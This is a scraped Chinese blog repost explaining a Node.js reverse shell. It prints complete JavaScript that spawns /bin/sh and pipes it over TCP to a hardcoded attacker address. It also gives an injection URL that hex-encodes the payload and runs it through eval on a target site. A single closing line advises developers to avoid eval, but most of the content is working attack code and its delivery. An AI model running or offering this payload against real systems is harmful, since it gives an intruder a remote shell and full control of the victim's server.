zoukankan      html  css  js  c++  java
  • JavaScript反向shell

    Node.js反向Shell

    摘自:http://www.itfang.net/?p=109

    如下的Javascript就是一个Node.js的反向连接shell。

    这个payload将会生成一个/bin/sh的shell,创建一个TCP连接到攻击者的服务器,并且在通信数据流中绑定shell命令。

    (function(){
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(8080, "10.17.26.64", function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application form crashing
    })();
    

    为了优雅的执行payload,我们还需要一些小技巧,我们将反向连接shell的payload用16进制进行编码,然后再用Node.js的Buffer对象来对其进行解码操作。

    http://target.tld/?name=["./;eval(new Buffer('PAYLOAD', 'hex').toString());//*"]
    

    我们强烈的建议开发者们避免在JavaScript项目中使用eval函数,而修复的方法也很简单,直接使用RegExp对象来对数据进行操作即可。

  • 相关阅读:
    newgrp
    netstat
    netlink, PF_NETLINK
    netdevice
    mv
    mplayer
    mpg123
    MOVE
    motd
    more
  • 原文地址:https://www.cnblogs.com/ssooking/p/6339419.html
Copyright © 2011-2022 走看看